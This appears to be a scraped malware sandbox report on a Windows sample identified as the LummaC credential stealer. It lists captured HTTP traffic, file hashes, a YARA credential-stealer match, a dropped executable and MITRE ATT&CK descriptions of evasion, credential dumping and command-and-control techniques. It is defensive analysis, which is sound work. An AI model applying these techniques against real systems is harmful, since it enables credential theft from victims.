2024-10-27 01:03:16 UTC	1009	IN	HTTP/1.1 200 OK Date: Sun, 27 Oct 2024 01:03:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ts9pu5haaoocdsg679u80sl92u; expires=Wed, 19 Feb 2025 18:49:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=5GLzia05J%2Fdboy8YABe6UP3%2FHQwk6rV01FHrlMY3n3oNKNcKQUkg%2BughKeZw6O8r4sU9gdlSEquicWCH4agDd2APXavnrJ3habHneEW3bLH7QX4J2fNcsroU9ckl4UkaHQk%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8d8ec3eaa88d4764-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1094&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=2597309&cwnd=251&unsent_bytes=0&cid=2d9d3bbb9071f214&ts=530&x=0"
2024-10-27 01:03:16 UTC	130	IN	Data Raw: 37 63 0d 0a 6f 41 76 77 31 70 50 7a 65 34 4b 48 42 72 76 39 6f 68 37 51 36 58 72 66 32 49 4c 73 43 42 41 55 67 53 52 6d 70 64 6c 46 4b 57 37 37 63 4e 4b 6a 73 63 6c 5a 36 76 4e 79 79 38 66 2b 4d 59 7a 47 53 2b 66 74 72 4e 34 35 4a 54 71 77 46 56 57 4c 36 48 4e 31 51 63 39 74 6c 6f 71 38 6c 78 37 6b 71 57 50 44 6d 49 41 79 38 6f 38 4f 2f 65 4b 79 77 43 70 31 4e 72 73 55 47 2f 67 3d 0d 0a Data Ascii: 7coAvw1pPze4KHBrv9oh7Q6Xrf2ILsCBAUgSRmpdlFKW77cNKjsclZ6vNyy8f+MYzGS+ftrN45JTqwFVWL6HN1Qc9tloq8lx7kqWPDmIAy8o8O/eKywCp1NrsUG/g=
2024-10-27 01:03:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	21:02:58
Start date:	26/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0x7d0000
File size:	2'899'968 bytes
MD5 hash:	F562DFC98C5958FA4687891BC0AC3719
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000003.1770573568.0000000000F1C000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Function 00F1FFF8 Relevance: .5, Instructions: 542COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2137324066.0000000000F1F000.00000004.00000020.00020000.00000000.sdmp, Offset: 00F1C000, based on PE: false

Associated: 00000000.00000003.1770573568.0000000000F1C000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_f1c000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f7013044825d5952479c2381eac1789a00bbff2ae24bc5a83099c13aa5f71bf2
Instruction ID: 558ba22bcc9f1a0f71a2b50e06aead358c0b6fe9b422b5c2f5a800bfdc5b4568
Opcode Fuzzy Hash: f7013044825d5952479c2381eac1789a00bbff2ae24bc5a83099c13aa5f71bf2
Instruction Fuzzy Hash: 6CF1595284E7D14FD3138BB48869695BFB09F23224B1E86DBC4D08F4F3E619491AD3A7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\G5E9NUKC2KTUY7LAVOIZ5RDE8.exe

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Network Behavior

Suricata IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

Windows Analysis Report
file.exe

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre